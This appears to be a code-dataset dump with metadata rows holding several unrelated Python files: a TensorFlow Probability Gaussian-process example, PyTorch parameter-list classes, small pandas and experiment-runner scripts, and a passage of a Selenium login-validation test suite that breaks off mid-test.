hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e7f447874f7343942ce3703b1206ab7addea058f
| 2,568
|
py
|
Python
|
tensorflow_probability/examples/jupyter_notebooks/gp_regression/use_gpm.py
|
Chaztikov/probability
|
9d64bfd0a7907f220f910dae134bc30258f25b5e
|
[
"Apache-2.0"
] | null | null | null |
tensorflow_probability/examples/jupyter_notebooks/gp_regression/use_gpm.py
|
Chaztikov/probability
|
9d64bfd0a7907f220f910dae134bc30258f25b5e
|
[
"Apache-2.0"
] | null | null | null |
tensorflow_probability/examples/jupyter_notebooks/gp_regression/use_gpm.py
|
Chaztikov/probability
|
9d64bfd0a7907f220f910dae134bc30258f25b5e
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np
import tensorflow as tf
import tensorflow_probability as tfp
tfd = tfp.distributions
psd_kernels = tfp.math.psd_kernels
# Suppose we have some data from a known function. Note the index points in
# general have shape `[b1, ..., bB, f1, ..., fF]` (here we assume `F == 1`),
# so we need to explicitly consume the feature dimensions (just the last one
# here).
f = lambda x: np.sin(10*x[..., 0]) * np.exp(-x[..., 0]**2)
observed_index_points = np.expand_dims(np.random.uniform(-1., 1., 50), -1)
# Squeeze to take the shape from [50, 1] to [50].
observed_values = f(observed_index_points)
# Define a kernel with trainable parameters.
kernel = psd_kernels.ExponentiatedQuadratic(
amplitude=tf.Variable(1., dtype=np.float64, name='amplitude'),
length_scale=tf.Variable(1., dtype=np.float64, name='length_scale'))
gp = tfd.GaussianProcess(kernel, observed_index_points)
optimizer = tf.optimizers.Adam()
@tf.function
def optimize():
with tf.GradientTape() as tape:
loss = -gp.log_prob(observed_values)
grads = tape.gradient(loss, gp.trainable_variables)
optimizer.apply_gradients(zip(grads, gp.trainable_variables))
return loss
for i in range(1000):
neg_log_likelihood = optimize()
if i % 100 == 0:
print("Step {}: NLL = {}".format(i, neg_log_likelihood))
print("Final NLL = {}".format(neg_log_likelihood))
# Suppose we have some data from a known function. Note the index points in
# general have shape `[b1, ..., bB, f1, ..., fF]` (here we assume `F == 1`),
# so we need to explicitly consume the feature dimensions (just the last one
# here).
f = lambda x: np.sin(10*x[..., 0]) * np.exp(-x[..., 0]**2)
observed_index_points = np.expand_dims(np.random.uniform(-1., 1., 50), -1)
# Squeeze to take the shape from [50, 1] to [50].
observed_values = f(observed_index_points)
# Define a kernel with trainable parameters.
kernel = psd_kernels.ExponentiatedQuadratic(
amplitude=tf.Variable(1., dtype=np.float64, name='amplitude'),
length_scale=tf.Variable(1., dtype=np.float64, name='length_scale'))
gp = tfd.GaussianProcess(kernel, observed_index_points)
optimizer = tf.optimizers.Adam()
@tf.function
def optimize():
with tf.GradientTape() as tape:
loss = -gp.log_prob(observed_values)
grads = tape.gradient(loss, gp.trainable_variables)
optimizer.apply_gradients(zip(grads, gp.trainable_variables))
return loss
for i in range(1000):
neg_log_likelihood = optimize()
if i % 100 == 0:
print("Step {}: NLL = {}".format(i, neg_log_likelihood))
print("Final NLL = {}".format(neg_log_likelihood))
| 36.169014
| 76
| 0.713396
| 388
| 2,568
| 4.600515
| 0.278351
| 0.0493
| 0.063866
| 0.035854
| 0.936695
| 0.936695
| 0.936695
| 0.936695
| 0.936695
| 0.936695
| 0
| 0.029078
| 0.142913
| 2,568
| 71
| 77
| 36.169014
| 0.781917
| 0.250389
| 0
| 0.888889
| 0
| 0
| 0.054365
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.044444
| false
| 0
| 0.066667
| 0
| 0.155556
| 0.088889
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f04e9030414e560624b8e2f0582e1c7cb2ba7912
| 4,336
|
py
|
Python
|
tltorch/utils/parameter_list.py
|
colehawkins/torch
|
914bdb8acad64d93a612e46f47ce1df507016b1b
|
[
"BSD-3-Clause"
] | 27
|
2020-12-15T21:34:48.000Z
|
2022-02-24T09:56:13.000Z
|
tltorch/utils/parameter_list.py
|
colehawkins/torch
|
914bdb8acad64d93a612e46f47ce1df507016b1b
|
[
"BSD-3-Clause"
] | 15
|
2020-12-23T05:10:31.000Z
|
2022-03-03T00:10:10.000Z
|
tltorch/utils/parameter_list.py
|
colehawkins/torch
|
914bdb8acad64d93a612e46f47ce1df507016b1b
|
[
"BSD-3-Clause"
] | 12
|
2020-12-23T04:26:41.000Z
|
2021-12-15T02:39:30.000Z
|
from torch import nn
import torch
class FactorList(nn.Module):
def __init__(self, parameters=None):
super().__init__()
self.keys = []
self.counter = 0
if parameters is not None:
self.extend(parameters)
def _unique_key(self):
"""Creates a new unique key"""
key = f'factor_{self.counter}'
self.counter += 1
return key
def append(self, element):
key = self._unique_key()
setattr(self, key, element)
self.keys.append(key)
def insert(self, index, element):
key = self._unique_key()
setattr(self ,key, element)
self.keys.insert(index, key)
def pop(self, index=-1):
item = self[index]
self.__delitem__(index)
return item
def __getitem__(self, index):
keys = self.keys[index]
if isinstance(keys, list):
return self.__class__([getattr(self, key) for key in keys])
return getattr(self, keys)
def __setitem__(self, index, value):
setattr(self, self.keys[index], value)
def __delitem__(self, index):
delattr(self, self.keys[index])
self.keys.__delitem__(index)
def __len__(self):
return len(self.keys)
def extend(self, parameters):
for param in parameters:
self.append(param)
def __iadd__(self, parameters):
return self.extend(parameters)
def __add__(self, parameters):
instance = self.__class__(self)
instance.extend(parameters)
return instance
def __radd__(self, parameters):
instance = self.__class__(parameters)
instance.extend(self)
return instance
def extra_repr(self) -> str:
child_lines = []
for k, p in self._parameters.items():
size_str = 'x'.join(str(size) for size in p.size())
device_str = '' if not p.is_cuda else ' (GPU {})'.format(p.get_device())
parastr = 'Parameter containing: [{} of size {}{}]'.format(
torch.typename(p), size_str, device_str)
child_lines.append(' (' + str(k) + '): ' + parastr)
tmpstr = '\n'.join(child_lines)
return tmpstr
class ParameterList(nn.Module):
def __init__(self, parameters=None):
super().__init__()
self.keys = []
self.counter = 0
if parameters is not None:
self.extend(parameters)
def _unique_key(self):
"""Creates a new unique key"""
key = f'param_{self.counter}'
self.counter += 1
return key
def append(self, element):
# p = nn.Parameter(element)
key = self._unique_key()
self.register_parameter(key, element)
self.keys.append(key)
def insert(self, index, element):
# p = nn.Parameter(element)
key = self._unique_key()
self.register_parameter(key, element)
self.keys.insert(index, key)
def pop(self, index=-1):
item = self[index]
self.__delitem__(index)
return item
def __getitem__(self, index):
keys = self.keys[index]
if isinstance(keys, list):
return self.__class__([getattr(self, key) for key in keys])
return getattr(self, keys)
def __setitem__(self, index, value):
self.register_parameter(self.keys[index], value)
def __delitem__(self, index):
delattr(self, self.keys[index])
self.keys.__delitem__(index)
def __len__(self):
return len(self.keys)
def extend(self, parameters):
for param in parameters:
self.append(param)
def __iadd__(self, parameters):
return self.extend(parameters)
def extra_repr(self) -> str:
child_lines = []
for k, p in self._parameters.items():
size_str = 'x'.join(str(size) for size in p.size())
device_str = '' if not p.is_cuda else ' (GPU {})'.format(p.get_device())
parastr = 'Parameter containing: [{} of size {}{}]'.format(
torch.typename(p), size_str, device_str)
child_lines.append(' (' + str(k) + '): ' + parastr)
tmpstr = '\n'.join(child_lines)
return tmpstr
| 30.535211
| 84
| 0.567804
| 503
| 4,336
| 4.626243
| 0.15507
| 0.061882
| 0.03352
| 0.039536
| 0.914912
| 0.888268
| 0.888268
| 0.888268
| 0.888268
| 0.888268
| 0
| 0.002016
| 0.313653
| 4,336
| 141
| 85
| 30.751773
| 0.779906
| 0.023524
| 0
| 0.872727
| 0
| 0
| 0.036712
| 0.004974
| 0
| 0
| 0
| 0
| 0
| 1
| 0.236364
| false
| 0
| 0.018182
| 0.036364
| 0.418182
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b2b7b3fe3a319c0cd62f9639553c8ec32542272b
| 491
|
py
|
Python
|
test_output.py
|
endrebak/ldetect
|
620f60a6758b448c6f16bb529b8ac1afd6b88a6a
|
[
"X11"
] | 1
|
2021-10-13T23:45:39.000Z
|
2021-10-13T23:45:39.000Z
|
test_output.py
|
endrebak/ldetect
|
620f60a6758b448c6f16bb529b8ac1afd6b88a6a
|
[
"X11"
] | 1
|
2021-10-14T00:29:20.000Z
|
2021-10-14T00:29:20.000Z
|
test_output.py
|
endrebak/ldetect
|
620f60a6758b448c6f16bb529b8ac1afd6b88a6a
|
[
"X11"
] | null | null | null |
import pandas as pd
df = pd.read_table("/mnt/work/endrebak/ldetect/1kg/partition_covariances/CEU/chr22/16050075_16847854.tsv_old.gz", header=None, compression=None, sep="\s+", index_col=[2, 3])
df2 = pd.read_table("/mnt/work/endrebak/ldetect/1kg/partition_covariances/CEU/chr22/16050075_16847854.tsv.gz", header=None, compression=None, sep="\s+", index_col=[2, 3])
diff = df.index.difference(df2.index)
# print(df.head(10))
# r = df.iloc[:, 2:4].groupby(2).head(1)
# print(r[r[2] != r[3]])
| 54.555556
| 173
| 0.723014
| 84
| 491
| 4.119048
| 0.488095
| 0.034682
| 0.063584
| 0.080925
| 0.716763
| 0.716763
| 0.716763
| 0.716763
| 0.716763
| 0.716763
| 0
| 0.114035
| 0.071283
| 491
| 8
| 174
| 61.375
| 0.644737
| 0.162933
| 0
| 0
| 0
| 0.5
| 0.452088
| 0.437346
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e8e32f6073b6870f6cc259c64aceb52a73ee64b9
| 163
|
py
|
Python
|
src/pypacmensl/fsp_solver/__init__.py
|
voduchuy/pypacmensl
|
59b845f4a6891a5c7105696053655437fa181356
|
[
"MIT"
] | null | null | null |
src/pypacmensl/fsp_solver/__init__.py
|
voduchuy/pypacmensl
|
59b845f4a6891a5c7105696053655437fa181356
|
[
"MIT"
] | null | null | null |
src/pypacmensl/fsp_solver/__init__.py
|
voduchuy/pypacmensl
|
59b845f4a6891a5c7105696053655437fa181356
|
[
"MIT"
] | null | null | null |
# distutils : language = c++
from pypacmensl.fsp_solver.distribution import DiscreteDistribution
from pypacmensl.fsp_solver.multi_sinks import FspSolverMultiSinks
| 40.75
| 67
| 0.858896
| 18
| 163
| 7.611111
| 0.722222
| 0.20438
| 0.248175
| 0.335766
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08589
| 163
| 4
| 68
| 40.75
| 0.919463
| 0.159509
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
3309a3eac4798916477e93f83a56337845b629fd
| 4,107
|
py
|
Python
|
run.py
|
berges99/Spatial-Pyramid-Kernel-for-Image-Recognition
|
05408e20506ce3c27248eb95e7e55e3e15dada8b
|
[
"Apache-2.0"
] | 1
|
2020-02-09T16:05:14.000Z
|
2020-02-09T16:05:14.000Z
|
run.py
|
berges99/Spatial-Pyramid-Kernel-for-Image-Recognition
|
05408e20506ce3c27248eb95e7e55e3e15dada8b
|
[
"Apache-2.0"
] | null | null | null |
run.py
|
berges99/Spatial-Pyramid-Kernel-for-Image-Recognition
|
05408e20506ce3c27248eb95e7e55e3e15dada8b
|
[
"Apache-2.0"
] | null | null | null |
import subprocess
cmd = 'python3 histogram_svm2.py --data df128.csv --L 0 --train_frac 0.5 --test_frac 0.2 > ./results/out1.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 1 --train_frac 0.5 --test_frac 0.2 > ./results/out2.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 2 --train_frac 0.5 --test_frac 0.2 > ./results/out3.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 3 --train_frac 0.5 --test_frac 0.2 > ./results/out4.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 4 --train_frac 0.5 --test_frac 0.2 > ./results/out5.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 0 --quantization 10 --train_frac 0.5 --test_frac 0.2 > ./results/out6.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 1 --quantization 10 --train_frac 0.5 --test_frac 0.2 > ./results/out7.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 2 --quantization 10 --train_frac 0.5 --test_frac 0.2 > ./results/out8.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 3 --quantization 10 --train_frac 0.5 --test_frac 0.2 > ./results/out9.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 4 --quantization 10 --train_frac 0.5 --test_frac 0.2 > ./results/out10.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 0 --quantization 20 --train_frac 0.5 --test_frac 0.2 > ./results/out11.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 1 --quantization 20 --train_frac 0.5 --test_frac 0.2 > ./results/out12.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 2 --quantization 20 --train_frac 0.5 --test_frac 0.2 > ./results/out13.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 3 --quantization 20 --train_frac 0.5 --test_frac 0.2 > ./results/out14.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 4 --quantization 20 --train_frac 0.5 --test_frac 0.2 > ./results/out15.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 0 --quantization 30 --train_frac 0.5 --test_frac 0.2 > ./results/out16.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 1 --quantization 30 --train_frac 0.5 --test_frac 0.2 > ./results/out17.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 2 --quantization 30 --train_frac 0.5 --test_frac 0.2 > ./results/out18.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 3 --quantization 30 --train_frac 0.5 --test_frac 0.2 > ./results/out19.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 4 --quantization 30 --train_frac 0.5 --test_frac 0.2 > ./results/out20.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 0 --quantization 40 --train_frac 0.5 --test_frac 0.2 > ./results/out21.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 1 --quantization 40 --train_frac 0.5 --test_frac 0.2 > ./results/out22.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 2 --quantization 40 --train_frac 0.5 --test_frac 0.2 > ./results/out23.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 3 --quantization 40 --train_frac 0.5 --test_frac 0.2 > ./results/out24.txt'
subprocess.Popen(cmd, shell = True)
cmd = 'python3 histogram_svm2.py --data df128.csv --L 4 --quantization 40 --train_frac 0.5 --test_frac 0.2 > ./results/out25.txt'
subprocess.Popen(cmd, shell = True)
| 45.633333
| 129
| 0.709033
| 692
| 4,107
| 4.099711
| 0.07948
| 0.088121
| 0.16743
| 0.202679
| 0.953472
| 0.953472
| 0.942897
| 0.942897
| 0.942897
| 0.89355
| 0
| 0.092536
| 0.129048
| 4,107
| 89
| 130
| 46.146067
| 0.700587
| 0
| 0
| 0.490196
| 0
| 0.490196
| 0.712963
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.019608
| 0
| 0.019608
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
3344c4397c53de12438c90258d972b30937c3080
| 14,182
|
py
|
Python
|
qa327_test/backend/test_r1_post.py
|
winterNebs/HyperTextAssassins
|
77d44db692d03b95462694394048aec3aacc4108
|
[
"MIT"
] | 2
|
2021-01-03T01:42:23.000Z
|
2021-03-30T18:59:45.000Z
|
qa327_test/backend/test_r1_post.py
|
johnsonzhang434/SeetGeek
|
77d44db692d03b95462694394048aec3aacc4108
|
[
"MIT"
] | null | null | null |
qa327_test/backend/test_r1_post.py
|
johnsonzhang434/SeetGeek
|
77d44db692d03b95462694394048aec3aacc4108
|
[
"MIT"
] | 1
|
2021-01-02T19:39:29.000Z
|
2021-01-02T19:39:29.000Z
|
import pytest
from seleniumbase import BaseCase
from qa327.models import db, User
from qa327_test.conftest import base_url
from unittest.mock import patch
from werkzeug.security import generate_password_hash, check_password_hash
test_user = User(
email='test_frontend@test.com',
name='testuser',
password=generate_password_hash('test_frontendA1$')
)
testuser1 = User(email='test@test.com', name='testuser',
password=generate_password_hash('test_frontendA1$')
)
testuser2 = User(
email='tst123@testmail.org',
name='testuser',
password=generate_password_hash('test_frontendA1$')
)
testuser3 = User(
email="this'isactuallyv{ok@wtf.lol",
name='testuser',
password=generate_password_hash('test_frontendA1$')
)
testuser4 = User(email='test@test.com', name='testuser',
password=generate_password_hash("aaaaa1$A")
)
testuser5 = User(email='test@test.com', name='testuser',
password=generate_password_hash('abct)432A')
)
class R1TestPost(BaseCase):
# Test form post
@patch('qa327.backend.get_user', return_value=test_user)
def test_r1_post_1(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter user name and password
self.type("#email", "test_frontend@test.com")
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
self.open(base_url)
# validate that we are logged in (ie we can see the welcome header
# and our name)
self.assert_element("#welcome-header")
self.assert_text("Hi testuser !")
# test both password username empty
def test_r1_post_2_1(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# try submit login without password or name
self.click("input[type='submit']")
# should be format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# test password empty
@patch('qa327.backend.get_user', return_value=test_user)
def test_r1_post_2_2(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter user name
self.type("#email", "test_frontend@test.com")
# try submit form
self.click("input[type='submit']")
# should be email format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# test no email
def test_r1_post_2_3(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter password but no email
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
# should be email format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# test invalid email formats
def test_r1_post_3_1(self, *_):
for i in ["Test.test.com", "test@test@test.com"]:
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", i)
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
# should be email format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# test invalid email characters
def test_r1_post_3_2(self, *_):
for i in ["test\"(test,:;<>[\\]@test.com", "test\"test test@test.com", "tggg,,,@test.com"]:
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", i)
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
# should be email format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# test valid emails
@patch('qa327.backend.get_user', return_value=testuser1)
def test_r1_post_3_3_1(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", 'test@test.com')
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
self.open(base_url)
# validate that we are logged in (ie we can see the welcome header
# and our name)
self.assert_element("#welcome-header")
self.assert_text("Hi testuser !")
# test valid email
@patch('qa327.backend.get_user', return_value=testuser2)
def test_r1_post_3_3_2(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", 'tst123@testmail.org')
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
self.open(base_url)
# validate that we are logged in (ie we can see the welcome header
# and our name)
self.assert_element("#welcome-header")
self.assert_text("Hi testuser !")
# test valid email
@patch('qa327.backend.get_user', return_value=testuser3)
def test_r1_post_3_3_3(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "this'isactuallyv{ok@wtf.lol")
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
self.open(base_url)
# validate that we are logged in (ie we can see the welcome header
# and our name)
self.assert_element("#welcome-header")
self.assert_text("Hi testuser !")
# test email that is too long
def test_r1_post_3_4(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "12345678901234567890123456789012345678901234567890123456789012341234567890123456789012345678901234567890123456789012345678901234@test.com" )
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
# should be format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# test invalid email formats
def test_r1_post_3_5(self, *_):
# for the following emails
for i in ["test..test@test.com", "test.test@test..com",".test@test.com", "test.@test.com"]:
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", i)
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
# should be format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# password too short
def test_r1_post_4_1(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "test@test.com")
# enter password
self.type("#password", "a1A!")
# try submit form
self.click("input[type='submit']")
# should be format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# password missing special character
def test_r1_post_4_2(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "test@test.com")
# enter password
self.type("#password", "aaaAAA111")
# try submit form
self.click("input[type='submit']")
# should be format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# password missing lowercase
def test_r1_post_4_3(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "test@test.com")
# enter password
self.type("#password", "AAAA1111!!!!")
# try submit form
self.click("input[type='submit']")
# should be format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# password missing uppercase
def test_r1_post_4_4(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "test@test.com")
# enter password
self.type("#password", "aaa111!!!!")
# try submit form
self.click("input[type='submit']")
# should be format is incorrect
self.assert_element("#message")
self.assert_text("Email/password format is incorrect.")
# test that valid passwords work
@patch('qa327.backend.get_user', return_value=testuser4)
def test_r1_post_4_6_1(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
